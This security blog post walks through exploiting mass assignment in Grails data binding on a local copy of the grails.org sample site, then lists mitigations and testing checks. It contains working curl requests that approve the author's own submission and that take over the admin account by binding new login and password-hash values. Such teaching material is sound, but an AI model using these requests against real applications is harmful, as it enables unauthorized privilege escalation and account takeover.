As part of our new product security and software security series, let’s dig into the security around automatic data binding in the popular Grails framework for Groovy. Data binding has been part of Grails since early on and can be a huge time saver when writing code to create or update objects. Like any powerful capability, there are also drawbacks and pitfalls that can easily lead to huge security holes in your applications. In this article, we’ll show you how to use data binding oversights to change critical data and ultimately take control of an application.
Grails.org has graciously provided a github repository of sample applications so we’ll start there and use the application that backs the http://grails.org site itself, available at https://github.com/grails-samples/grails-website. They provide easy instructions to get a fully operation close of their site running locally so we’ll start by getting a local version of the Grails site running on our local system using docker:
git clone https://github.com/grails-samples/grails-website.git cd grails-website docker run -it --rm -v `pwd`:/grails-website -p 8090:8090 cogniteev/oracle-java:java8 bash apt-get update && apt-get install --yes curl git unzip curl -s get.gvmtool.net | bash source "/root/.sdkman/bin/sdkman-init.sh" cd ../grails-website # These two take a while ./grailsw compile ./grailsw -Dreindex=1 -Dserver.port=8090 run-app
You’ll probably want to run boot2docker ip
or docker-machine ip <env>
to get your local docker interface IP. Ours is 192.168.59.103 so you’ll see that in the URLs we use.
Part of the grails.org site is their community section where you can post testimonials or web sites that use Grails. We’re going to look at the /websites
functionality since that’s an area that you can upload and change data as a community user. Following standard Grails convention, the controller is at grails-app/controllers/org/grails/community/WebSiteController.groovy
.
The intended flow is that registered users can create a new WebSite
record with their information. On creation, the controller sets the record’s status
property to ApprovalStatus.PENDING
and its submittedBy
property to the current user. Application administrators can then review and approve the site so it appears on the main page.
A quick overview of the access control model of this application. It uses Apache Shiro’s filter pattern and is configured in the grails-app/conf/org/grails/auth/JSecurityAuthFilters.groovy
file. The filter configuration uses a mix of role-based access control for administrative areas, Shiro permissions for certain object updates, and basic authentication-required checks for creating new records like WebSites and Testimonials in the community section.
We can also see that it’s a default-allow scheme that attempts to enumerate the areas where access control should be applied. This is a pattern that goes against the Secure By Default strategy that we advocate and, in our experience, almost always leads to holes. Indeed, that holds true in this application as some data-changing operations like updating Testimonials
aren’t explicitly listed and do not enforce an authentication requirement or the permission checks used for record-level access control.
Let’s leave those problems to other articles though since we’re here to look at data binding issues that can be used to go around access control configurations.
The first step is to create a user at http://192.168.59.103:8090/register:
The data fixture set for our local installation doesn’t contain any web sites and you can see that the approved web site list is empty:
We were automatically logged in when we create the user above so we can click the “Submit Website for Approval” link to go directly to the web site creation/submission functionality and submit a site for approval by administrators.
If you check the site listing at http://192.168.59.103:8090/websites you’ll see that it’s still empty since our site is in the default ApprovalStatus.PENDING
state. At this point, the most obvious “malicious” objective is to update the Website
record to approve our own site and have it listed on the main page.
First, let’s take a look at how this controller works and uses data binding. Looking at the save()
method in WebSiteController
, we see this:
def save() { def website= params.id? WebSite.get(params.id) : new WebSite() if(website == null) website = new WebSite() bindData(website, params) boolean isNew = !website.isAttached() if(isNew) { website.submittedBy = request.user website.status = ApprovalStatus.PENDING } if (!website.hasErrors() && validateAndSave(website)) { website.save flush: true ...
The line we’re going to focus on right now is bindData(website, params)
. This is will take the values from the parameters and apply them to the Website
instance, doing type conversions as appropriate. Used properly, it’s a tremendous time saver and allows you to skip tedious explicit assignment of properties. Unfortunately, bindData
defaults to binding all bindable properties (also the default) and this particular use of bindData
omits the includesExcludes
parameter that you can use to restrict which properties will be included in the binding. The result of this unrestricted bind is a mass assignment vulnerability that we’ll use to approve our own website record. Using Chrome’s Developer Tools, we grab the value of the JSESSIONID
cookie and insert that into a curl
command:
curl -X POST -H 'Cookie: JSESSIONID=8B6C095F438595FF2986B310BFAD67D0' \ -F id=1 -F status=APPROVED \ -F preview=@/Users/freefly/Downloads/logo.jpg \ "http://192.168.59.103:8090/websites/save" -v
Due to an application bug, updates must include a valid image for the preview
field in order to avoid an error message. We’ll come back to that in a minute but let’s look at the /websites
listing to confirm that we’ve successful approved our own site:
Success! We’ve approved our own post by leveraging a mass assignment bug.
Let’s revisit that error we just avoided by include a preview image in curl because it’s a great example of data binding behavior that most developers wouldn’t expect. The actual error is an unhandled exception that’s thrown during attempt to access the isEmpty()
method on a null file object in WebSiteController.validateAndSave(website)
. Note that the website.save
to save our instance occurs after this validation and only if validation passes. Since the validation throws an exception that’s not handled in the controller, execution stops there and surfaces to the user as a server error. If we submit an update request to change the title
field but without the preview
field:
curl -X POST -H 'Cookie: JSESSIONID=8B6C095F438595FF2986B310BFAD67D0' \ -F id=1 \ -F '</span><b>title=WE_CHANGED_THE_TITLE</b><span style="font-weight: 400;">' \ "http://192.168.59.103:8090/websites/save" -v
we can see the HTTP 500 response and the stack trace showing the error on line 48 of our controller and above the website.save
call:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | 108 | validatePreviewImage in '' | 100 | validateAndSave . . in '' | 48 | save in '' | 198 | doFilter . . . . . . in PageFragmentCachingFilter.java
You would expect that the unhandled exception occurring before Website
instance is saved results in the updates being discarded but that’s not what happens:
Grails uses hibernate under the hood and this is the result of hibernate’s dirty checking and automatic persistence of dirty objects loaded by hibernate and attached to the hibernate session. Objects changes are persisted when the session is flushed at the end of the request or at hibernate’s pleasure. There were some recent Grails changes to the default persistence behavior outside of transactional contexts but this application is running with automatic hibernate flushing (grails-app/conf/DataSource.groovy
):
hibernate { cache.use_second_level_cache = true cache.use_query_cache = true cache.region.factory_class = 'net.sf.ehcache.hibernate.EhCacheRegionFactory' // Hibernate 3 //cache.region.factory_class = 'org.hibernate.cache.ehcache.EhCacheRegionFactory' // Hibernate 4 singleSession = true // configure OSIV singleSession mode //flush.mode = 'manual' // OSIV session flush mode outside of transactional context
Uncommenting this line causes hibernate to stop automatically persisting dirty objects outside of transactions and our website changes would not be implicitly persisted. Automatic flushing outside of services and transactions can create complicated and unexpected conditions that are almost guaranteed to lead to security problems.
Now let’s use this behavior to do something more interesting than approve a new site. We’re going to leverage the fact that data binding doesn’t just work on the top level objects but also on related objects. As we saw in our controller code, WebSite
has a relationship to User
via the submittedBy
property. That field is currently set to our user so, as an attacker, our options are to change properties of our user or to switch to another user with more access. We’re going to take the latter approach since it’s often easier to gain access to an existing admin account instead of trying to correctly modify the settings of a regular user to turn it into an administrator.
We don’t know exactly which user we want to target but it’s usually a good bet to target the first users created in a system. The README mentioned an initial admin user that’s created so we’ll target the user with the ID of 1.
curl -X POST -H 'Cookie: JSESSIONID=9B71DA91B3C3D33EC1FB5CCBFF2636A4' \ -F id=1 \ -F '</span><b>submittedBy.id=1</b><span style="font-weight: 400;">' \ -F '</span><b>submittedBy.login=freefly_admin</b><span style="font-weight: 400;">' \ -F '</span><b>submittedBy.password=e38ad214943daad1d64c102faec29de4afe9da3d</b><span style="font-weight: 400;">' \ "http://192.168.59.103:8090/websites/save" -v
With the above curl command, we’ve reassigned our record to point to the admin
user, along with setting that user’s login to “freefly_admin
” and password to “password1
” by providing an (*unsalted*) hash. We can now logout of our current user by going to http://192.168.59.103:8090/logout, log back in with our new freefly_admin/password1
combo at http://192.168.59.103:8090/login, and gain access the the administrative interface:
Mitigations
Since there are multiple problems at play there a few mitigations.
- Change the default constraints to disable data binding by default unless fields are whitelisted with
bindable
- Always restrict allowable properties for data binding using bindData’s
includesExcludes
parameter, thebindable
constraint on the properties of domain objects, or limiting property assignment (e.g. “website.properties['title','description'] = params
”). - Never bind domain objects as properties of another domain object or as properties of command objects.
- Don’t use automatic dirty object persistence outside of transactions. It’s simply too complicated to interpret how an application will behave under different circumstances.
- Move persistence logic into services and, ideally, transactions
Testing
If you’re a developer, quality assurance engineer, or a security engineer, or just doing penetration testing, here’s what to look for to quickly identify likely data binding issues
White box
- Inspect all calls to
bindData
forincludesExcludes
. If it’s not there, look at the domain object for bindable constraints - Look for all data binding involving properties that are domain objects
- Look for all domain objects bound to command objects
- Inspect all domain object properties assignment (“
website.properties =
”) to verify they are restricted - Verify the hibernate automatic flushing settings
Black box
- Watch proxy logs for parameters in the form of “id=1&childObj.name=blah”. This is a fairly hot indicator that data binding through relationships is being used intentionally
Questions?
Have an application that uses data binding and you’re concerned about its security? Get in touch.